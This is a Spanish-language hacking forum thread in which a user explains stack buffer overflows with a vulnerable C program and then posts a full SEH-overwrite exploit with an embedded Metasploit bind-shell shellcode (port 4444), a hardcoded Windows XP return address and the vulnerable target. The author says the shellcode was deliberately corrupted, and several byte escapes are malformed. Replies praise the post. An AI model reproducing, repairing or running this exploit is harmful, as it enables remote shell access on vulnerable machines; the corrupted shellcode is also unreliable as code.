¿Que es un Buffer Overflow?¿Como explotarlo?

  • 3 Respuestas
  • 4717 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado HckDrk

  • *
  • Underc0der
  • Mensajes: 57
  • Actividad:
    0%
  • Reputación 0
  • http://127.0.0.1
    • Ver Perfil
    • HckDrk

¿Que es un Buffer Overflow?¿Como explotarlo?

  • en: Noviembre 24, 2012, 03:48:49 am
Hola de seguro algunos ya han escuchado hablar sobre esta vulnerabilidad, pero en algunas veces no nos ah quedado claro del todo, bueno aquí intento explicar lo mas que se pueda,

Un Buffer Overflow se provoca inyectando código sobrante en la pila.
La pila es donde se guardan las instrucciones que se ejecutarán, incluyendo las funciones, los procedimientos, etc...

Supongamos el siguiente fragmento de código en C

Código: C
  1. #include <conio.h>
  2. //Hola soy th3d4rkw4rl0ck y este es un ejemplo de Buffer Overflow
  3.  
  4. void ejemplodebuffer()
  5. {
  6.   char buffer[10];
  7.   printf("Introduce el nombre del fichero\n");
  8.   scanf("%s",&buffer);
  9.   printf("Has escrito %s", buffer);
  10.  
  11. }
  12. int main()
  13. {
  14.  
  15.   printf("Hola este es un ejemple de buffer\n ");
  16.   ejemplodebuffer();
  17.   getch ();
  18.  
  19. }
  20.  

El problema que nos encontramos aquí, como es lógico, es ¿que ocurre si al usuario le da por introducir más de 10 caracteres? Parece una pregunta fácil pero no lo es en absoluto y la mayor parte de las vulnerabilidades que se encuentran hoy en día pertenecen a este "tipo" de error. Obviamente nuestro buffer se va a desborda pero ¿que consecuencias tiene eso?

Para entender el problema hay que entender que está pasando a nivel interno (a nivel de código máquina) cuando declaramos el segmento de código anterior. A grandes rasgos  existen dos "áreas" principales de memoria en un programa, la pila o stack y el heap. La pila es, como su nombre indica, una pila de memoria en la que se van almacenando y recuperando datos de forma incremental, es decir, lo último que se inserta es lo primero que se recupera.

Ahora vamos a ver lo que pasaría si introducimos más de 10 caracteres en nuestro buffer. En primer lugar se llenarían esos 10 caracteres, en siguiente lugar se sobrescribiría el valor de retorno de la función y por último ufff  de desborda la pila. ¿Veis el problema?

y entonces ¿Como puedo encontrar los buffer overflow?
1.-Conocimientos de C y ensamblador.
2.-Un buffer que sea desbordable.
3.-Un shellcode en alguna zona de memoria.

PD ShellCode: Normalmente lo meteremos en la pila en el propio buffer desbordado, aunque no siempre es posible. Para localizar nuestro shellcode en memoria usaremos un depurador, (ollydbg, softIce). Ésto obliga a que la máquina a explotar sea la misma que la nuestra
Conocer la direccion de memoria del shellcode

y bueno para los que no conoces un ShellCode, eh aquí un ejemplo:

Código: C
  1. #include<stdio.h>
  2. #include<string.h>
  3. #include<windows.h>
  4.  
  5. #define RET_ADDRESS 0x77FA8CD5 // XP RET On WinXP Sp1 English
  6.  
  7. // Stage1 Shellcode:
  8. unsigned char stage1[]= "\xD9\xEE\xD9\x74\x24\xF4\x59\x80\xC1\x0A\x90\xFE\xCD\xFE\xCD\xFF\xE1";
  9.  
  10. // win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ]  http://metasploit.com
  11. unsigned char shellcode[] =
  12. "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
  13. "\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
  14. "\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
  15. "\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
  16. "\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
  17. "\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
  18. "\x99\x2e\x73\x4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
  19. "\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
  20. "\x0e\x34\x13\x14\xd\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
  21. "\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
  22. "\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
  23. "\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
  24. "\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
  25. "\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
  26. "\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
  27. "\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
  28. "\xed\x2d\x98\xe\xd9\xa6\x8\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
  29. "\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
  30. "\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
  31. "\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0\xa1\x13\x99\x4e"
  32. "\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
  33. "\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
  34. "\xf7\xd1\x2b\x5\x7a\x7a\x9c\xb0\x55\xa6x7e\xb0\xf0\x2f\xf0\xe2"
  35. "\x5c\x2a\x56\xb0xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
  36. \x5\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";
  37.  
  38. int main(int argc,char *argv[]){
  39.  
  40. char *bufExe[2];
  41. char buf[1024]; //im using an extremly long buffer so an exception will occur and execute our shellcodes
  42. bufExe[0] = "lameseh.exe";
  43. bufExe[2] = NULL;
  44.  
  45. memset(buf,090,1024);
  46. memcpy(&buf[60],shellcode,sizeof(shellcode));
  47.  
  48. *(unsigned long *)&buf[520] = 0x909006EB; //jmp to our stage1 shellcode (Push it backwards)
  49. *(unsigned long *)&buf[524] = RET_ADDRESS;
  50. memcpy(&buf[528],stage1,sizeof(stage1)-1);
  51.  
  52. bufExe[1] = buf;
  53.  
  54. //Execute the vulnerable application
  55. execve(bufExe[0],bufExe,NULL);
  56. return 0x0;
  57. }
  58.  
  59.  
  60. Código del programa.
  61.  
  62. // lameseh.c - talz
  63.  
  64. int ExceptionHandl er(void);
  65. int main(int argc,char *argv[]){
  66.  
  67.        char temp[512];
  68.  
  69. if (argc != 2) exit(0);
  70.  
  71. __try {
  72.  
  73.        strcpy(temp,argv[1]);
  74.  
  75.        } __except ( ExceptionHandl er() ){
  76. }
  77. return 0;
  78. }
  79. int ExceptionHandl er(void){
  80. printf("Exception");
  81. return 0;
  82. }
  83.  

eh sacado esta shell code de internet, no recuerdo su autor pero como han visto al igual que los exploit tanto como los shellcode tienen fragmentos de lineas erróneos debido a que los autores consideran que así evitaran a los  script kiddies y lammers que hagan ataques, ya que solo lo compilarían y lanzarían el ataque.

si sabes programación C y algo de ASM podrás comprender y identificar los errores.

bueno espero que haya quedado claro

salu2

PD: este tuto lo eh hecho con ayuda de varios sitios como wikipedia (conceptos), monografias.com  y la shellcode, no recuerdo ya que lo tengo de hace tiempo, si alguien lo reconoce favor de informarme

Fuente: Antiguo Foro Inexistente(HackingTeam), Autor: TheDarkWarlock

Desconectado hdbreaker

  • *
  • Ex-Staff
  • *****
  • Mensajes: 411
  • Actividad:
    0%
  • Reputación 0
  • HD_Breaker
  • Skype: hdbreaker96
  • Twitter: @SecSignal
    • Ver Perfil
    • Security Signal
    • Email

Re:¿Que es un Buffer Overflow?¿Como explotarlo?

  • en: Noviembre 24, 2012, 06:14:56 am
Bien Explicado, espero q los lectores de este Post se animen a completar mi reto de Genera un Exploit, q cree en la seccion WarGames!!!

Ser Libres es un Privilegio por el cual pocos estamos dispuestos a correr el riesgo

Desconectado Flemon

  • *
  • Underc0der
  • Mensajes: 235
  • Actividad:
    0%
  • Reputación 0
  • NO HAY FORMA DE DETENERME!!
    • Ver Perfil
    • Email

Re:¿Que es un Buffer Overflow?¿Como explotarlo?

  • en: Noviembre 24, 2012, 06:52:22 am
 Excelente, ahora si pude comprender sobre Buffer Overflow, leí algo el año pasado, pero mucho no lo entendí, y seguí con las otras técnicas... Muchas gracias por el aportazo...
No intentes pararme, trata de defenderte, trata de matarme, pero de cualqueir forma TE SUPERARE

Desconectado Pr0ph3t

  • *
  • Underc0der
  • Mensajes: 443
  • Actividad:
    0%
  • Reputación 0
  • © Underc0de Team
  • Skype: thebrowfc
    • Ver Perfil

Re:¿Que es un Buffer Overflow?¿Como explotarlo?

  • en: Noviembre 24, 2012, 07:21:39 am
Aportazo bro, muy interesante, sigue así  ;)
Twitter: @The_Pr0ph3t
[email protected]

 

Los 3 modos más comunes de hackear WordPress y cómo evitarlo

Iniciado por Hackmundy

Respuestas: 2
Vistas: 7651
Último mensaje Marzo 06, 2013, 01:15:42 am
por b166er
Como Encontrar el AdminPanel (Algunos Metodos)

Iniciado por hdbreaker

Respuestas: 4
Vistas: 5219
Último mensaje Junio 25, 2012, 03:34:37 pm
por Satyricon
Cómo explotar vulnerabilidad de Windows 7 con Metasploit

Iniciado por Pekador

Respuestas: 2
Vistas: 5957
Último mensaje Abril 16, 2012, 04:35:47 pm
por SPELINAX
[VIDEO] Como subir una shell a Wordpress

Iniciado por unkdown

Respuestas: 2
Vistas: 4136
Último mensaje Diciembre 13, 2015, 07:12:12 pm
por Gabriela
Como hacer una BackConect By Okol

Iniciado por Okol

Respuestas: 12
Vistas: 7849
Último mensaje Septiembre 17, 2012, 02:35:10 am
por Mr_Pack